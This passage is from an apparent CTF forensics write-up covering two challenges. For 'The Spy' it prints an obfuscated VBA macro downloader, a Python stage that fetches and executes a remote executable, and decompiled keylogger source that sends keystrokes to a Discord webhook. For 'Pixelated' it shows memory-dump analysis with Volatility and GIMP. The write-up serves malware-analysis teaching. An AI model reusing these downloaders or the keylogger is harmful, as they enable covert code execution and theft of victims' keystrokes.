ByVal f1FfQ As LongPtr) As Long
Public Function b1BbR(c1CcR As String) As String
Dim d1DdR As Integer
Dim e1EeR As Integer
Dim f1FfR As String
If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function
d1DdR = Len(c1CcR)
For e1EeR = 1 To Len(c1CcR)
If e1EeR Mod 2 <> 0 Then
f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2)))
End If
Next
b1BbR = f1FfR
End Function
Sub c1CcS()
Dim d1DdS As String
Dim e1EeS As String
Dim f1FfS As String
Dim g1GgS As String
Dim h1HhS As Long
Dim username As String
username = Environ("USERNAME")
d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67"
e1EeS = j2JjS(d1DdS)
f1FfS = b1BbR(e1EeS)
g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py"
h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)
If h1HhS = 0 Then
MsgBox "File downloaded successfully.", vbInformation
' Run the Python script
RunPython
Else
MsgBox "Failed to download file.", vbExclamation
End If
End Sub
Function j2JjS(k2KkS As String) As String
Dim l2LlS As String
Dim m2MmS As Integer
For m2MmS = 1 To Len(k2KkS)
Select Case Asc(Mid(k2KkS, m2MmS, 1))
Case 65 To 77, 97 To 109
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)
Case 78 To 90, 110 To 122
l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)
Case Else
l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1)
End Select
Next m2MmS
j2JjS = l2LlS
End Function
Sub RunPython()
Dim PythonExe As String
Dim PythonScript As String
Dim Command As String
Dim username As String
username = Environ("USERNAME")
PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe"
PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py"
Command = PythonExe & " " & PythonScript
Shell Command, vbNormalFocus
End Sub
It also seems that the remote server URL was encoded in hex and ROT13. Decoding it, we can proceed to the next step which was to analyze the Python script stored in the Google Drive.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import os
import requests
def download_file_from_google_drive(file_id, destination):
URL = "https://docs.google.com/uc?export=download"
session = requests.Session()
response = session.get(URL, params={'id': file_id}, stream=True)
token = get_confirm_token(response)
if token:
params = {'id': file_id, 'confirm': token}
response = session.get(URL, params=params, stream=True)
save_response_content(response, destination)
def get_confirm_token(response):
for key, value in response.cookies.items():
if key.startswith('download_warning'):
return value
return None
def save_response_content(response, destination):
CHUNK_SIZE = 32768
with open(destination, "wb") as f:
for chunk in response.iter_content(CHUNK_SIZE):
if chunk:
f.write(chunk)
def hex_to_binary(hex_str):
return bytes.fromhex(hex_str)
def save_binary_to_file(binary_data, file_path):
with open(file_path, 'wb') as file:
file.write(binary_data)
def reverse_hex_conversion(file_path, output_file):
with open(file_path, 'r') as file:
hex_content = file.read().strip()
binary_data = hex_to_binary(hex_content)
save_binary_to_file(binary_data, output_file)
def run_retrieved_file(file_path):
os.system(file_path)
if __name__ == "__main__":
# Download the file and save it as file_hex.txt
file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0"
input_file = "file_hex.txt"
download_file_from_google_drive(file_id, input_file)
# Convert hex to binary and save it as L3AK.exe
output_file = "L3AK.exe"
reverse_hex_conversion(input_file, output_file)
# Execute the retrieved file
run_retrieved_file(output_file)
print("File retrieved and executed as L3AK.exe")
The Python script seems to download another hex encoded file from Google Drive using the id 1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0
. So by editing the URL to the file id, the hex encoded file can be obtained.
Downloading and decoding it shows that it was a malicious executable.
Analyzing the malware on VirusTotal, it shows that the malware was packed with PyInstaller
. So by using pyinstxtractor, the malware can be unpacked.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PS C:\Users\warlocksmurf\Desktop\pyinstxtractor-master> python .\pyinstxtractor.py 'C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\L3AK.exe'
[+] Processing C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\L3AK.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.12
[+] Length of package: 14651528 bytes
[+] Found 107 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_inspect.pyc
[+] Possible entry point: pyi_rth_pkgutil.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_cryptography_openssl.pyc
[+] Possible entry point: keylogger.pyc
[+] Found 475 files in PYZ archive
[+] Successfully extracted pyinstaller archive: C:\Users\warlocksmurf\Documents\L3akCTF\The Spy\L3AK.exe
You can now use a python decompiler on the pyc files within the extracted directory
Analyzing the malware files, a keylogger.pyc
can be found. However, the file could not be decompiled.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
└─$ sudo uncompyle6 keylogger.pyc
Traceback (most recent call last):
File "/usr/local/lib/python2.7/dist-packages/xdis/load.py", line 313, in load_module_from_file_object
co = xdis.unmarshal.load_code(fp, magic_int, code_objects)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 626, in load_code
return um_gen.load()
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 171, in load
return self.r_object()
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
return unmarshal_func(save_ref, bytes_for_s)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 515, in t_code
co_consts = self.r_object(bytes_for_s=False)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
return unmarshal_func(save_ref, bytes_for_s)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 377, in t_small_tuple
ret += (self.r_object(bytes_for_s=bytes_for_s),)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
return unmarshal_func(save_ref, bytes_for_s)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 515, in t_code
co_consts = self.r_object(bytes_for_s=False)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
return unmarshal_func(save_ref, bytes_for_s)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 377, in t_small_tuple
ret += (self.r_object(bytes_for_s=bytes_for_s),)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 215, in r_object
return unmarshal_func(save_ref, bytes_for_s)
File "/usr/local/lib/python2.7/dist-packages/xdis/unmarshal.py", line 532, in t_code
if kind & CO_FAST_LOCAL:
TypeError: unsupported operand type(s) for &: 'str' and 'int'
Ill-formed bytecode file keylogger.pyc
<type 'exceptions.TypeError'>; unsupported operand type(s) for &: 'str' and 'int'
So I strings the file and found a suspicious Discord webhook URL.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
└─$ strings keylogger.pyc
d k(
Listener
Key)
Timer)
Webhookzyhttps://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl
z(aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM=c
Keyloggerc
[BACKSPACE]z
[ESC])
WB_URL
interval
logr
space
enter
backspace
special_keys
current_keys)
selfr
---SNIP---
Below the URL seems to be a base64 encoded string. Decoding it provides a Discord server invite link. The flag is located in the server. PS: One of the best forensics challenge I’ve done this year imo
1
2
└─$ echo "aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM=" | base64 -d
https://discord.gg/pswTtUnpJC
Edit: The decompiler pycdc can help decompile the pyc file properly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
└─$ ./pycdc ~/Desktop/sharedfolder/L3akCTF/The\ Spy/L3AK.exe_extracted/keylogger.pyc
# Source Generated with Decompyle++
# File: keylogger.pyc (Python 3.12)
from pynput.keyboard import Listener, Key
from threading import Timer
from dhooks import Webhook
WEBHOOK_URL = 'https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl'
INTERVAL = 30
hjlkhas = 'aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM='
class Keylogger:
def __init__(self, WB_URL, interval = (30,)):
self.WB_URL = WB_URL
self.interval = interval
self.log = ''
self.special_keys = {
Key.esc: '[ESC]',
Key.backspace: '[BACKSPACE]',
Key.tab: '\t',
Key.enter: '\n',
Key.space: ' ' }
self.current_keys = set()
def _send_info(self, log):
if log != '':
webhook = Webhook(self.WB_URL)
webhook.send(log)
return None
def _key_down(self, key):
Unsupported opcode: COPY
pass
# WARNING: Decompyle incomplete
def _key_up(self, key):
if key in self.current_keys:
self.current_keys.remove(key)
return None
def _report(self):
self._send_info(self.log)
self.log = ''
Timer(self.interval, self._report).start()
def run(self):
Unsupported opcode: BEFORE_WITH
self._report()
# WARNING: Decompyle incomplete
if __name__ == '__main__':
Keylogger(WEBHOOK_URL, INTERVAL).run()
return None
Pixelated 🧃 [Forensics]
Question: awk ? grep ? sed ? always forget the order on those, well anyway have fun!
Flag: L3AK{p1x3l_p3rfect!}
We are given another memory dump to investigate. Analyzing the process tree, the MS paint process seems to be oddly running alone near the end of the list. However, after dumping the process, I had no idea what to do next. Thankfully, the author gave a small nudge to me mentioning that we actually had a discussion about this kind of challenge in another CTF previously. I was baffled and straight up remembered about the method of visualizing raw data. Here is a good reference about this whole method.
1
2
3
4
5
6
7
8
9
10
11
└─$ python3 vol.py -f ~/Desktop/sharedfolder/L3akCTF/Pixelated/memory.raw windows.pstree
Volatility 3 Framework 2.7.0
Progress: 100.00 PDB scanning finished
PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime Audit Cmd Path
---SNIP---
*** 5580 4280 mspaint.exe 0xdb0861a2d080 5 - 1 False 2024-05-01 11:41:39.000000 N/A \Device\HarddiskVolume1\Windows\System32\mspaint.exe "C:\Windows\system32\mspaint.exe" C:\Windows\system32\mspaint.exe
*** 6644 4280 VBoxTray.exe 0xdb08615b1080 11 - 1 False 2024-05-01 08:50:27.000000 N/A \Device\HarddiskVolume1\Windows\System32\VBoxTray.exe "C:\Windows\System32\VBoxTray.exe" C:\Windows\System32\VBoxTray.exe
* 868 652 fontdrvhost.ex 0xdb086003b140 5 - 1 False 2024-05-01 08:50:09.000000 N/A \Device\HarddiskVolume1\Windows\System32\fontdrvhost.exe "fontdrvhost.exe" C:\Windows\system32\fontdrvhost.exe
* 548 652 dwm.exe 0xdb086020c080 21 - 1 False 2024-05-01 08:50:09.000000 N/A \Device\HarddiskVolume1\Windows\System32\dwm.exe "dwm.exe" C:\Windows\system32\dwm.exe
By dumping the process and renaming the extension from .dmp
to .data
, the process can actually be visualized on GIMP as long you have the right width and height (yes its basically trial and error). After several minutes, I managed to get a hit on a part of the MS paint process.
After awhile, I noticed an easy way to determine where the flag might be. If you use RGB
and look around the starting parts, random colorized pixels can be found when moving the offset. So you can go to any of the colorized pixels and set the appropriate width and height to obtain the flag in cleartext.
By using RGB565 Big Endian
and width 1624, the flag can be obtained.
Fun fact: I accidentally found a QR code that wasn’t even part of the challenge. Sorry @0x157 kekW!
Writeup Contest
PS: I won the writeup contest with a $25 prize.